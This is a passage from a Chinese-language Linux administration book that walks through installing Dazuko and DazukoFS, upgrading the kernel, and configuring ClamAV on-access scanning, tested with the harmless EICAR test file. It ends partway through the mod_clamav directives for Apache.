dazuko　　　　52684　0

commoncap　　　11136　1 dazuko

这下就放心了。

这一步可能出现如下问题。

[root@mail dazuko-2.3.8]# /sbin/insmod dazuko.ko

insmod: error inserting './dazuko.ko': -1 Unknown symbol in module

出错了！查看系统日志如下。

[root@mail example_c]# tail -f /var/log/messages

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_ptrace

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_inode_setxattr

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_syslog

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_capget

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_task_reparent_to_init

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_task_post_setuid

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_bprm_set_security

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_bprm_secureexec

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_capset_check

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_bprm_apply_creds

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_capable

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_capset_set

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_vm_enough_memory

Mar 21 13:50:53 www kernel: dazuko: Unknown symbol cap_inode_removexattr

参考“make test”的结果可知解决办法如下。

[root@mail dazuko-2.3.8]# /sbin/modprobe commoncap

[root@mail dazuko-2.3.8]# /sbin/insmod ./dazuko.ko

还有一点，如果/dev/dazuko不存就建立/dev/dazuko。

[root@mail dazuko-2.3.8]#mknod -m 600 /dev/dazuko c 254 0

[root@mail dazuko-2.3.8]#chown root:root /dev/dazuko

2．测试Dazuko

在Dazuko被加载后，应用程序就能够通过Dazuko设备处理文件访问。要测试Dazuko，可以使用 Dazuko 软件包中附带的测试程序，有 example_c/、example_java/、example_lua/、example_perl/、example_php/、example_python/和 example_ruby/这么 7 中语言的测试程序，我们选择example_c，也就是c语言。

[root@mail dazuko-2.3.8]# cd example_c

[root@mail example_c]# make

[root@mail example_c]# ./example /home /usr/home

DazukoIO version 2.3.8 (2.3.8.1)

registered with Dazuko successfully

Dazuko version 2.3.8 (2.3.8.1)

set access mask successfully

set scan path successfully

在开启监控后，它将停留在控制台。可以再打开一个shell控制台，然后再去访问/home，那么在example执行的这个控制台将会报告各种操作的信息，例如我们在一个控制台执行如下操作。

[root@mail mm]# echo "123456" > h

[root@mail mm]#

查看example执行的这个控制台如下。

[root@mail example_c]# ./example /home /usr/home

DazukoIO version 2.3.8 (2.3.8.1)

registered with Dazuko successfully

Dazuko version 2.3.8 (2.3.8.1)

set access mask successfully

set scan path successfully

OPEN　uid:0　pid:4374　mode:33188　flags:1　file_uid:0　file_gid:0　file_mode:33188file_device:0 file_size:0 file:/home/mm/h

最下面的两行是输出的信息，告诉你有人（通过uid来表示，在这里的uid是0）做了什么样的操作。这个例子中没有做任何限制，你可以做任何操作。但是如果将 Dazuko 和一个第三方的软件结合，例如我们将要结合的ClamAV，那么你就会看到它的强大功能。

3．安装模块

[root@mail dazuko-2.3.8]# make install

mkdir -p /lib/modules/2.6.21/extra

cp dazuko.ko /lib/modules/2.6.21/extra

/sbin/depmod -ae

可以在rc.local文件中添加如下内容。

[root@mail dazuko-2.3.8]#vi /etc/rc.local

……

/sbin/modprobe commoncap

/sbin/insmod /lib/modules/2.6.21/extra/dazuko.ko




12.2.3 Dazuko与ClamAV的结合


Dazuko与ClamAV的结合是通过ClamAV的配置文件来完成的，因此需要编辑ClamAV的配置文件。在配置文件中打开或者添加如下指令。

# Set access mask for Clamuko (Dazuko only).

# Default: no

ClamukoScanOnOpen yes

ClamukoScanOnClose yes

ClamukoScanOnExec yes

# Set the include paths (all files inside them will be scanned). You can have

# multiple ClamukoIncludePath directives but each directory must be added

# in a seperate line. (Dazuko only)

# Default: disabled

#ClamukoIncludePath /home

#ClamukoIncludePath /students

ClamukoIncludePath /tmp/dazukofs_test

ClamukoIncludePath /mnt/nfs

启动ClamAV，并且查看它的日志如下。

[root@mail etc]# tail -f /tmp/clamd.log

……

Clamuko: Correctly registered with Dazuko.

Clamuko: Scan-on-open mode activated.

Clamuko: Scan-on-close mode activated.

Clamuko: Scan-on-exec mode activated.

Clamuko: Included path /tmp/dazukofs_test

Clamuko: Included path /mnt/nfs

Clamuko: Max file size limited to 10485760 bytes.

有上面的输出就对了。




12.2.4 测试


在测试部分，我们要进行如下的步骤。

编辑一个名为1.txt的文件，输入以下的内容并保存。

[root@mail ～]# pwd

/root

[root@mail ～]#vi 1.txt

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

从现在开始打开ClamAV的日志文件，对它进行实时的监控。

[root@mail ～]# cp 1.txt /mnt/nfs

这时ClamAV的日志文件不会有变化。

对1.txt文件进行编辑处理如下。

[root@mail nfs]# pwd

/mnt/nfs

[root@mail nfs]# ll

total 4

-rw-r--r-- 1 root root 69 Jan 12 14:26 1.txt

[root@mail nfs]# vi 1.txt

"1.txt" [Permission Denied]

出现“Permission Denied”的情况，我们知道它的权限是没问题的！

你可能已经看到ClamAV的日志文件了。

[root@mail etc]# tail -f /tmp/clamd.log

……

SelfCheck: Database status OK.

……

Clamuko: /mnt/nfs/1.txt: Eicar-Test-Signature FOUND

Clamuko: /mnt/nfs/1.txt: Eicar-Test-Signature FOUND

为什么是两条，我分析一下。这是因为在你打开这个文件时发现了病毒，然后就即时关闭了。这和我们的配置指令有关“ClamukoScanOnOpen yes”和“ClamukoScanOnClose yes”。

下面再进行一项测试。

[root@mail ～]# cp 1.txt /mnt/nfs

cp: overwrite '/mnt/nfs/1.txt', overriding mode 0644? y

cp: cannot create regular file '/mnt/nfs/1.txt': Operation not permitted

在执行到询问是否覆盖时，ClamAV的日志文件会出现一条日志，如果你敲入“y”则又会出现一条日志，分别表现了文件打开和关闭时情况。最后的日志是这样的。

[root@mail etc]# tail -f /tmp/clamd.log

……

SelfCheck: Database status OK.

……

Clamuko: /mnt/nfs/1.txt: Eicar-Test-Signature FOUND

Clamuko: /mnt/nfs/1.txt: Eicar-Test-Signature FOUND

Clamuko: /mnt/nfs/1.txt: Eicar-Test-Signature FOUND

Clamuko: /mnt/nfs/1.txt: Eicar-Test-Signature FOUND




12.3 Clamuko


前面已经介绍过，clamd有趣的特征之一是On-access扫描，但是On-access扫描基于Dazuko实现，因此要实现On-access扫描首先要安装Dazuko模块。前面已经讲过关于Dazuko模块的安装。

在ClamAV中这种功能叫做Clamuko，通过打开这个功能就能够对Linux文件系统中的文件提供保护。但是一定要记住这是个实验性的软件，绝对不要在生产环境下使用，可以临时使用，然后期待稳定的版本发布，或者是在对稳定性要求不高的环境中使用。一定要查看配置文件中的以下内容。

##

## Clamuko settings

## WARNING: This is experimental software. It is very likely it will hang

##　　up your system!!!

##

可喜的是在我编写本书的过程中，ClamAV于2010 年03 月31 日宣布了最新版ClamAV 0.96。在这个版本中，明确提出了在clamd中支持Dazukofs，当然也仍然支持Dazuko：

##

## Clamuko settings

##

与前一个版本相比不再有下面的“WARNING……”了，所以可以放心使用！




12.3.1 打开Clamuko功能


Clamuko可以在文件被打开、关闭和执行时对文件进行监控。在配置文件clamd.conf中打开如下变量，并将值设为yes。

ClamukoScanOnAccess yes

ClamukoScanOnOpen yes

ClamukoScanOnClose yes

ClamukoScanOnExec yes




12.3.2 设置保护目录


对监控的目录进行设置。使用变量 ClamukoIncludePath，这个变量可以多次使用。使用变量ClamukoExcludePath排除不扫描的目录，同样也可以多次使用。同时还可以对文件的大小作出规定，设置一个大于某个值的文件将不再被扫描的变量是ClamukoMaxFileSize。示例如下。

ClamukoIncludePath /sdc

ClamukoMaxFileSize 10M

对/sdc目录进行保护，不扫描大于10M的文件。

设置完成后要对 clamd 进行重载或者重启才有效。在重启的时候要对日志进行监控，查看Clamuko的启动情况如下。

[root@www ～]# tail -f /tmp/clamd.log

……

Tue Apr 20 21:53:41 2010 -> Clamuko: Correctly registered with Dazuko.

Tue Apr 20 21:53:41 2010 -> Clamuko: Scan-on-open mode activated.

Tue Apr 20 21:53:41 2010 -> Clamuko: Scan-on-close mode activated.

Tue Apr 20 21:53:41 2010 -> Clamuko: Scan-on-exec mode activated.

Tue Apr 20 21:53:41 2010 -> Clamuko: Included path /sdc

Tue Apr 20 21:53:41 2010 -> Clamuko: Max file size limited to 5242880 bytes.

……

可以看出设置有效。




12.3.3 测试


向目录/sdc中复制一个带有病毒的文件，然后将其打开，同时监控clamd的日志文件。复制病毒文件命令如下。

[root@www test-messages]# cp ./* /sdc

这个过程中clamd不会发现病毒。

访问病毒文件命令如下。

[root@www sdc]# more sample-virus-simple.txt

sample-virus-simple.txt: Operation not permitted

查看clamd日志文件命令如下。

[root@www ～]# tail -f /tmp/clamd.log

……

Tue Apr 20 22:34:26 2010 -> Clamuko:/sdc/sample-virus-simple.txt: Eicar-Test-Signature FOUND




12.4 Dazukofs


Dazukofs是一个可堆叠（stackable）的文件系统，用于在线文件访问控制，与clamd结合实现病毒防护。

ClamAV于2010年03月31日发布了最新版ClamAV 0.96，在这个版本中明确提出了在clamd中支持Dazukofs，因此还没有来得及在上架机器中使用。

本文所谈的案例没有在上架机器下使用过，只是在测试中使用过。测试20多天，感觉还不错，但是如果要在上架机器中使用还需要更多的测试。

另外，比较重要的一点是Linux内核，dazukofs-3.1.2要求使用2.6.31内核，因此会涉及到升级Linux内核的问题。在测试时，原来的内核是2.6.18，所以要升级为2.6.31。比较麻烦的是不能直接从2.6.18升级到2.6.31。由于内核的格式问题，需要先从2.6.18升级到2.6.25，然后再从2.6.25升级到2.6.31。当然读者可能会有更高明的办法。

虽然升级Linux内核不是本文的主要内容，但是在这里还是给出了升级的步骤，以便读者参考。




12.4.1 概述Dazukofs


dazukofs是一个可堆叠（stackable）文件系统，允许用户空间的应用程序在线执行访问控制。它最初的开发目的是用于支持网络病毒扫描器，但是它也适用于任何想要执行在线文件访问控制的应用程序。

[image: figure_0202_0084]


注意：

DazukoFS完全独立于Dazuko，DazukoFS使用一个与Dazuko不同的用户接口（interface）和驱动器（devices），由于它们不共享代码或资源，所以可以同时使用Dazuko和DazukoFS。然而，DazukoFS目的是要作为一个在线文件访问控制的解决方案来取代Dazuko。




12.4.2 示意图


接下来我们看一下Dazukofs文件系统的示意图，如图12.6所示。

[image: figure_0203_0085]
图12.6 Dazukofs文件系统的意图



Dazukofs以模块的形式注册到内核层，而应用层是通过模块调用的形式使用。挂接后的文件系统为Dazukofs，这一点我们在使用mount命令挂接后是可以检测出来的。




12.4.3 源文件目录结构


[root@mail ～]# tree dazukofs-3.1.2

dazukofs-3.1.2

|-- CHANGELOG

|-- LICENSE.GPL-2

|-- Makefile

|-- README

|-- ctrl_dev.c　　　　//以下是编译模块的主要文件

|-- dazukofs_fs.h

|-- dentry.c

|-- dev.c

|-- dev.h

|-- event.c

|-- event.h

|-- file.c

|-- group_dev.c

|-- ign_dev.c

|-- inode.c

|-- mmap.c

|-- patches　　　　　//该目录下的文件已废弃，本版本不再使用

| '-- obsolete

|　　|-- patch-001

|　　|-- ……

|　　'-- patch-010

|-- super.c

'-- test　　　　　　//该目录为测试程序

|-- LICENSE.GPL-2

|-- Makefile

|-- lib

| |-- LICENSE.LGPL-2.1

| |-- Makefile

| |-- dazukofs.c

| '-- dazukofs.h

'-- showfiles.c

4 directories, 34 files




12.4.4 编译安装


这里要介绍的是Linux 2.6.31 内核和dazukofs-3.1.2软件，因此涉及两个问题，一是升级Linux内核，二是在编译 dazukofs 时可能需要手动修改 Makefile 文件才可以顺利地编译安装 Dazukofs模块（Dazukofs是以Linux内核模块的形式工作）。

1．升级Linux内核

升级Linux内核比较麻烦，需要升级两次，一次是从2.6.18升级到2.6.25，另一次是从2.6.25升级到2.6.31。下面是Linux升级步骤。

第一步：从2.6.18升级到2.6.25

[root@mail kernels]#wget ftp://ftp.kernel.org/pub/linux/kernel/　\

> v2.6/linux-2.6.25.tar.gz

[root@mail kernels]# tar -zxvf linux-2.6.25.tar.gz

[root@mail kernels]# cd linux-2.6.25

[root@mail linux-2.6.25]# cp /boot/config-2.6.18-53.el5 .config

[root@mail linux-2.6.25]# make oldconfig //对于提示，可以一路回车

[root@mail linux-2.6.25]# make

[root@mail linux-2.6.25]# make CONFIG_DEBUG_SECTION_MISMATCH=y

[root@mail linux-2.6.25]# make modules

[root@mail linux-2.6.25]# make modules_install

[root@mail linux-2.6.25]# make bzImage

[root@mail linux-2.6.25]# make install

编译完成后，修改/etc/grub.conf文件，把“default=1”改为“default=0”。这是因为在内核编译安装完成时，在最后的一步“make install”中把“default=0”修改为default=1”，确保再次开机仍然使用原来的内核。在这里可能你会有点不理解，既然是升级内核，那么当然就应该使用新的内核。其实在我看来这是一种很大的关怀，可能你会问为什么是关怀，这个问题就不探讨了，自己琢磨去吧！

[root@mail ～]# vi /etc/grub.conf

# grub.conf generated by anaconda

#

# Note that you do not have to rerun grub after making changes to this file

# NOTICE: You have a /boot partition. This means that

#　　all kernel and initrd paths are relative to /boot/, eg.

#　　root (hd0,0)

#　　kernel /vmlinuz-version ro root=/dev/VolGroup00/LogVol00

#　　initrd /initrd-version.img

#boot=/dev/sda

default=0

timeout=5

splashimage=(hd0,0)/grub/splash.xpm.gz

#hiddenmenu

title Red Hat Enterprise Linux Server (2.6.25)

root (hd0,0)

kernel /vmlinuz-2.6.25 ro root=/dev/VolGroup00/LogVol00 rhgb quiet

initrd /initrd-2.6.25.img

title Red Hat Enterprise Linux Server (2.6.18-53.el5)

root (hd0,0)

kernel /vmlinuz-2.6.18-53.el5 ro root=/dev/VolGroup00/LogVol00 rhgb quiet

initrd /initrd-2.6.18-53.el5.img

然后重新启动，选择新的内核。如果运气不错就会使用新的内核启动，如果出现无法启动的情况，就比较麻烦了。

重新启动命令如下。

[root@mail linux-2.6.25]#init 6

查看内核命令如下。

[root@mail ～]# uname -r

2.6.25

查看新的内核，表示内核升级成功。

第二步：从2.6.25升级到2.6.31

[root@mail kernels]# wget ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-2.6.31.tar.bz2

[root@mail kernels]# tar -jxvf linux-2.6.31.tar.bz2

[root@mail kernels]# cd linux-2.6.31

[root@mail linux-2.6.31]# cp /usr/src/linux-2.6.25/.config ./

[root@mail linux-2.6.31]# make oldconfig　//对于提示，可以一直回车

[root@mail linux-2.6.31]# make

[root@mail linux-2.6.31]# make modules

[root@mail linux-2.6.31]# make modules_install

[root@mail linux-2.6.31]# make bzImage

[root@mail linux-2.6.31]# make install

编译完成后，修改/etc/grub.conf文件，把“default=1”改为“default=0”。

[root@mail ～]# vi /etc/grub.conf

# grub.conf generated by anaconda

#

# Note that you do not have to rerun grub after making changes to this file

# NOTICE: You have a /boot partition. This means that

#　　all kernel and initrd paths are relative to /boot/, eg.

#　　root (hd0,0)

#　　kernel /vmlinuz-version ro root=/dev/VolGroup00/LogVol00

#　　initrd /initrd-version.img

#boot=/dev/sda

default=0

timeout=5

splashimage=(hd0,0)/grub/splash.xpm.gz

#hiddenmenu

title Red Hat Enterprise Linux Server (2.6.31)

root (hd0,0)

kernel /vmlinuz-2.6.31 ro root=/dev/VolGroup00/LogVol00 rhgb quiet

initrd /initrd-2.6.31.img

title Red Hat Enterprise Linux Server (2.6.25)

root (hd0,0)

kernel /vmlinuz-2.6.25 ro root=/dev/VolGroup00/LogVol00 rhgb quiet

initrd /initrd-2.6.25.img

title Red Hat Enterprise Linux Server (2.6.18-53.el5)

root (hd0,0)

kernel /vmlinuz-2.6.18-53.el5 ro root=/dev/VolGroup00/LogVol00 rhgb quiet

initrd /initrd-2.6.18-53.el5.img

重新启动系统。

重新启动命令如下。

[root@mail linux-2.6.31]#init 6

查看内核命令如下。

[root@mail ～]# uname -r

2.6.31

2．安装Dazukofs模块

Dazukofs以内核的形式安装，所以和其他的软件安装不太相同。

下载并解压模块命令如下。

[root@mail kernels]# wget http://dazuko.dnsalias.org/files/dazukofs-3.1.2.tar.gz

[root@mail ～]#tar -zxvf dazukofs-3.1.2.tar.gz

[root@mail ～]# cd dazukofs-3.1.2

编译内核模块。

[root@mail dazukofs-3.1.2]# make

安装内核模块。

[root@mail dazukofs-3.1.2]# make dazukofs_install

载入内核模块。

[root@mail dazukofs-3.1.2]# modprobe dazukofs

校验内核载入。

[root@mail dazukofs-3.1.2]# dmesg | grep dazukofs

建立目录用于测试。

[root@mail dazukofs-3.1.2]# mkdir /tmp/dazukofs_test

挂载DazukoFS型文件系统。

[root@mail dazukofs-3.1.2]# mount -t dazukofs /tmp/dazukofs_test /tmp/dazukofs_test

校验DazukoFS文件系统挂接。

[root@mail dazukofs-3.1.2]# mount | grep dazukofs

卸载DazukoFS文件系统。

[root@mail dazukofs-3.1.2]# umount /tmp/dazukofs_test

3．测试

提供一个用于测试的应用程序，测试程序会简单地输出通过 DazukoFS 文件系统在线访问的信息。下面简单介绍测试。

确定DazukoFS内核模块被载入。

[root@mail dazukofs-3.1.2]# modprobe dazukofs

创建测试DazukoFS文件系统的目录。

[root@mail dazukofs-3.1.2]# mkdir /tmp/dazukofs_test

挂载DazukoFS文件系统。

[root@mail dazukofs-3.1.2]# mount -t dazukofs /tmp/dazukofs_test /tmp/dazukofs_test

拷贝测试文件到挂载DazukoFS文件系统的目录上。

[root@mail dazukofs-3.1.2]# cp /bin/* /tmp/dazukofs_test

建立测试程序。

[root@mail dazukofs-3.1.2]# cd test

[root@mail test]# make

开始测试程序。

[root@mail test]# make

[root@mail test]# env LD_LIBRARY_PATH=lib ./showfiles

打开其他的终端并访问挂载DazukoFS文件系统的目录。

[root@mail test]# find /tmp/dazukofs_test -type f | xargs file

……

pid:03792 file:/tmp/dazukofs_test

pid:03792 file:/tmp/dazukofs_test

pid:03794 file:/tmp/dazukofs_test/stty

……

^C

Goodbye.

在第一个终端程序“showfiles”将会显示出访问的文件，可以通过“CTRL-C”组合键结束该程序。

4．系统启动时挂接

如果想机器一开机就实现挂接，那么可以通过配置/etc/fstab文件来实现，在该文件中添加类似于如下的条目。

/usr　/usr　dazukofs　defaults　0　0

/opt　/opt　dazukofs　defaults　0　0

当然，模块Dazukofs要确保在/etc/fstab执行之前被载入。

5．警告

将一个目录通过 DazukoFS 文件系统挂接到另一个目录，就是文件系统堆叠，用户文件系统与Linux系统的文件系统相堆叠，示例如下。

[root@mail test]# mount -t dazukofs /usr/local/games /tmp/dazukofs_test

当在/tmp/dazukofs_test 目录中访问文件时，实际上是通过 Dazukofs 来访问/usr/local/games目录。当直接访问/usr/local/games目录时，Dazukofs则不会参与，也不会检测对文件的访问。这是个潜在的问题！如果文件直接在目录/usr/local/games中被修改，那么Dazukofs层什么都不会知道。当Dazukofs此后再去访问这些文件时会出现腐败数据（corrupt data）或者内核崩溃（kernel crashes）。但是目录/usr/local/games 只通过 Dazukofs 来修改，那么不会有任何问题。

查看磁盘挂接命令如下。

[root@mail ～]# mount

……

/tmp/dazukofs_test on /tmp/dazukofs_test type dazukofs (rw)

……

根据这一条目可以看出DazukoFS内核模块使用的文件系统是Dazukofs。

6．已发现的问题

① dazukofs不支持对内存映射文件的写操作，但是支持读操作；

② 不要对根文件系统使用 DazukoFS，也不要对伪文件系统（如/proc, /dev, /sys）使用Dazukofs。




12.4.5 设置Clamuko


编辑clamd 的配置文件/usr/local/clamav9.6/etc/clamd.conf，找到“Clamuko settings”部分，可以看到Clamuko的默认设置为禁止，Clamuko设置部分如下。

##

## Clamuko settings

##

# Enable Clamuko. Dazuko must be configured and running. Clamuko supports

# both Dazuko (/dev/dazuko) and DazukoFS (/dev/dazukofs.ctrl). DazukoFS

# is the preferred option. For more information please visit www.dazuko.org

# Default: no

#ClamukoScanOnAccess yes

# The number of scanner threads that will be started (DazukoFS only).

# Having multiple scanner threads allows Clamuko to serve multiple

# processes simultaneously. This is particularly beneficial on SMP machines.

# Default: 3

#ClamukoScannerCount 3

# Don't scan files larger than ClamukoMaxFileSize

# Value of 0 disables the limit.

# Default: 5M

ClamukoMaxFileSize 10M

# Set access mask for Clamuko (Dazuko only).

# Default: no

#ClamukoScanOnOpen yes

#ClamukoScanOnClose yes

#ClamukoScanOnExec yes

# Set the include paths (all files inside them will be scanned). You can have

# multiple ClamukoIncludePath directives but each directory must be added

# in a seperate line. (Dazuko only)

# Default: disabled

#ClamukoIncludePath /home

#ClamukoIncludePath /students

在9.6这个版本里，ClamAV可以使用DazukoFS，也可以使用Dazuko。但是对配置文件的设置就不一样了，不同的配置功能可能会有不同，下面举两个例子来说明这一点。

1．正确设置Dazukofs

由于在这里使用的是Dazukofs，所以设置比较简单，只需要打开如下三项就可以了。

ClamukoScanOnAccess yes

ClamukoScannerCount 3

ClamukoMaxFileSize 10M

然后运行clamd，同时监控clamd日志。

启动clamd命令如下。

[root@mail ～]# /usr/local/clamav9.6/sbin/clamd

查看clamd日志。

[root@mail etc]# tail -f /tmp/clamd.log

……

Clamuko: Max file size limited to 10485760 bytes.

Clamuko: Started scanner thread 0.

Clamuko: Correctly registered with DazukoFS.

Clamuko: Max file size limited to 10485760 bytes.

Clamuko: Started scanner thread 1.

Clamuko: Correctly registered with DazukoFS.

Clamuko: Max file size limited to 10485760 bytes.

Clamuko: Started scanner thread 2.

……

可以看到clamd已经正常启动，并且DazukoFS也注册成功，并启动了3个线程。

防病毒测试

远程拷贝一个病毒文件，同时监控clamd的日志文件。

远程拷贝命令如下。

[root@www test-messages]# scp sample-virus-simple.txt 192.168.3.139:/tmp/dazukofs_test

root@192.168.3.139's password:

scp: /tmp/dazukofs_test/sample-virus-simple.txt: Operation not permitted

监控clamd的日志如下。

[root@mail etc]# tail -f /tmp/clamd.log

……

Clamuko: /tmp/dazukofs_test/sample-virus-simple.txt: Eicar-Test-Signature FOUND

很显然，病毒被发现，远程拷贝没有成功。

2．设置多余项

在上面的例子中，通过正确方法设置了DazukoFS。下面是一个不正确的设置案例，虽然它也能防病毒，但是功能上有区别。

3．修改配置文件

打开如下选项。

ClamukoScanOnAccess yes

ClamukoScannerCount 3

ClamukoMaxFileSize 10M

ClamukoScanOnOpen yes

ClamukoScanOnClose yes

ClamukoScanOnExec yes

ClamukoIncludePath /tmp/dazukofs_test

启动clamd。

[root@mail ～]# /usr/local/clamav9.6/sbin/clamd

查看clamd日志。

[root@mail etc]# tail -f /tmp/clamd.log

……

Clamuko: Correctly registered with DazukoFS.

ERROR: Clamuko: ClamukoScanOnOpen ignored when using DazukoFS.

ERROR: Clamuko: ClamukoScanOnClose ignored when using DazukoFS.

ERROR: Clamuko: ClamukoScanOnExec ignored when using DazukoFS.

ERROR: Clamuko: ClamukoIncludePath ignored when using DazukoFS.

Clamuko: Max file size limited to 10485760 bytes.

Clamuko: Started scanner thread 0.

Clamuko: Correctly registered with DazukoFS.

ERROR: Clamuko: ClamukoScanOnOpen ignored when using DazukoFS.

ERROR: Clamuko: ClamukoScanOnClose ignored when using DazukoFS.

ERROR: Clamuko: ClamukoScanOnExec ignored when using DazukoFS.

ERROR: Clamuko: ClamukoIncludePath ignored when using DazukoFS.

Clamuko: Max file size limited to 10485760 bytes.

Clamuko: Started scanner thread 1.

Clamuko: Correctly registered with DazukoFS.

ERROR: Clamuko: ClamukoScanOnOpen ignored when using DazukoFS.

ERROR: Clamuko: ClamukoScanOnClose ignored when using DazukoFS.

ERROR: Clamuko: ClamukoScanOnExec ignored when using DazukoFS.

ERROR: Clamuko: ClamukoIncludePath ignored when using DazukoFS.

Clamuko: Max file size limited to 10485760 bytes.

Clamuko: Started scanner thread 2.

分析日志，可以发现clamd已启动，但是有错误提示。由于错误提示中有“ignored”字样，因此认为在功能上不受影响。

4．防病毒测试

远程拷贝一个病毒文件，同时监控clamd的日志文件。

远程拷贝。

[root@www test-messages]# scp sample-virus-simple.txt 192.168.3.139:/tmp/dazukofs_test

root@192.168.3.139's password:

sample-virus-simple.txt　　　　　　100%　178　0.2KB/s　00:00

监控clamd的日志。

[root@mail etc]# tail -f /tmp/clamd.log

……

日志没有输出，scp的提示表明成功。很显然，病毒没有被发现。

查看本地目录/tmp/dazukofs_test。

[root@mail dazukofs_test]# ls -l

total 4

-rw-r--r-- 1 root root 178 Apr 22 07:56 sample-virus-simple.txt

可见文件存在。

访问该文件并监控clamd日志。

[root@mail ～]# more /tmp/dazukofs_test/sample-virus-simple.txt

/tmp/dazukofs_test/sample-virus-simple.txt: Operation not permitted

在访问时被拒绝，clamd日志有输出，发现病毒。

[root@mail etc]# tail -f /tmp/clamd.log

……

Clamuko: /tmp/dazukofs_test/sample-virus-simple.txt: Eicar-Test-Signature FOUND

再次查看本地目录/tmp/dazukofs_test。

[root@mail dazukofs_test]# ls -l

total 4

-rw-r--r-- 1 root root 178 Apr 22 07:56 sample-virus-simple.txt

比较一下这两个实例，由于设置的问题，不难看出功能不同，所以在设置上不要出错。




第13章 Linux下的服务与ClamdAV


本章讲述的是运行在Linux下的各种服务与ClamdAV的结合，以便使用 ClamAV 对服务进行防护，让善良可爱的 Linux 给予脆弱多病的Windows慈父般的爱。

本章针对使用最广泛的如下服务给予讲述。

Apache——Web 服务；Proftp——ftp 服务；Samba——共享服务；Squid——代理服务；Postfix——邮件服务。




13.1 Apache与Clamd





13.1.1 概述


在Apache2中介绍了过滤器（filter），过滤器是允许修改内容的一些模块。其中mod_clamav就是 Apache2 的一个过滤模块，它通过代理模块（mod_proxy）使用 ClamAV 进行病毒扫描。mod_clamav是由Andreas Müller 编写的一个GNU软件，最新的版本是mod_clamav-0.23。本文是按照2年前的一个生产环境中的案例写的，虽然版本不是最新的，但是不影响学习。另外还有一点要说的是，根据生产环境中的需求合适地使用mod_clamav，如果确实必须使用病毒过滤的则使用，没有必要的则不使用，因为任何过滤都会使得客户访问延时，也使得服务器的负载增大。至于什么时候选择过滤什么时候不选择过滤，这个不好建议。但一般来说，涉及到客户上传的文件，且上传的文件再次被其他的客户使用，那么对于这种情况最好是过滤一下。另外，如果是采用ftp上传文件，那么也可以参考proftp部分。




13.1.2 安装要求


在安装mod_clamav之前有两点要确定一下，一是要先安装ClamAV软件，二是Apache的代理模块（mod_proxy）要添加。本文中的环境如下。

[root@www mod_clamav-0.22]# uname -a

Linux www.lt.com 2.6.9-prep #1 Sun Mar 21 13:06:43 CST 2008 i686 i686 i386 GNU/Linux

[root@www ～]# /usr/local/apache2.0/bin/apachectl -v

Server version: Apache/2.0.63

[root@www ～]# /usr/local/clamav/sbin/clamd -V

ClamAV 0.95.3/10604/Mon Mar 22 10:14:56 2010

ClamAV最近刚刚重新安装，换了最新的版本。

如果在安装 Apache 时没有选择代理模块（mod_proxy），可以使用如下比较简单的方法，首先要找到Apache的源代码目录。

[root@www ～]# cd httpd-2.0.63

[root@www httpd-2.0.63]# cd modules

[root@www modules]# cd proxy/

[root@www proxy]# /usr/local/apache2.0/bin/apxs -cia mod_proxy.c

在安装的最后出现如下的信息，就算成功地安装了代理模块。

……

chmod 755 /usr/local/apache2.0/modules/mod_proxy.so

[activating module ‘proxy’ in /usr/local/apache2.0/conf/httpd.conf]

……




13.1.3 编译安装


mod_clamav是作为Apache的一个模块安装的，因此需要使用apxs工具来安装。

[root@www ～]# wget http://software.othello.ch/ \

> mod_clamav/mod_clamav-0.22.tar.gz

[root@www mod_clamav-0.22]# ./configure --with-apache=/usr/local/apache2.0 \

> --with-apxs=/usr/local/apache2.0/bin/apxs

[root@www mod_clamav-0.22]# make

[root@www mod_clamav-0.22]# make install

在安装的结尾出现如下的信息，那么就算成功地安装了。

…….

/usr/local/apache2.0/bin/apxs -i -a -n 'clamav' .libs/mod_clamav.so

/usr/local/apache2.0/build/instdso.sh　SH_LIBTOOL='/usr/local/apache2.0/build/libtool'.libs/mod_clamav.so /usr/local/apache2.0/modules

/usr/local/apache2.0/build/libtool --mode=install cp .libs/mod_clamav.so /usr/local/apache2.0/modules/

cp .libs/mod_clamav.so /usr/local/apache2.0/modules/mod_clamav.so

Assuming installing a .so rather than a libtool archive.

chmod 755 /usr/local/apache2.0/modules/mod_clamav.so

[activating module ‘clamav’ in /usr/local/apache2.0/conf/httpd.conf]

……..




13.1.4 配置mod_clamav


安装完成 mod_clamav 之后就可以对它进行配置了。按照 Apache 的配置习惯，既可以将mod_clamav的配置指令直接写入Apache的主配置文件httpd.conf，也可以使用单独的配置文件然后再在主配置文件中使用Include指令载入，两种效果一样。为了方便管理，本书选择了单独的配置文件。

在mod_clamav的源代码解压包中会看到sample.conf文件，这是mod_clamav的一个示例性的配置文件，另外还有 message.conf 和 safepatterns.conf，读懂这些示例性配置文件也就会使用mod_clamav了。

由于mod_clamav是以模块的形式在Apache中工作的，所以它没有提供任何Linux命令行级别的命令，一切操作都在配置文件中。

mod_clamav的两种模式，本地模式（local mode）和守护进程模式（daemon mode）。

1．mod_clamav的指令和参数

首先看一下mod_clamav提供的指令和参数。

ClamavMode

语法：ClamavMode local | daemon

默认值：local

使用环境：server config, virtual host, directory

功能：该指令用于设定 mod_clamav 的两种模式，即本地模式和守护进程模式。如果该模块直接支持clamav库，那么使用本地模式；在守护进程模式下，该模块在病毒检测时会查询远程的 clamd（当然是在同一台机器上），连接守护进程必须配置ClamavSocket或者是ClamavPort指令。

ClamavSocket

语法：ClamavSocket UNIX-domain-socket

默认值：none

使用环境：server config, virtual host, directory

功能：指定ClamAV 的守护进程clamd 监听的套接字。如果没有设置这个指令，那么该模块会被认为是一个TCP的套接字，从而是用TCP来连接ClamAV的守护进程。

ClamavPort

语法：ClamavPort port

默认值： none

使用环境：server config, virtual host, directory

功能：指定ClamAV 监听端口号。

ClamavTmpdir

语法：ClamavTmpdir tmp-dir

默认值： /tmp

使用环境： server config, virtual host, directory

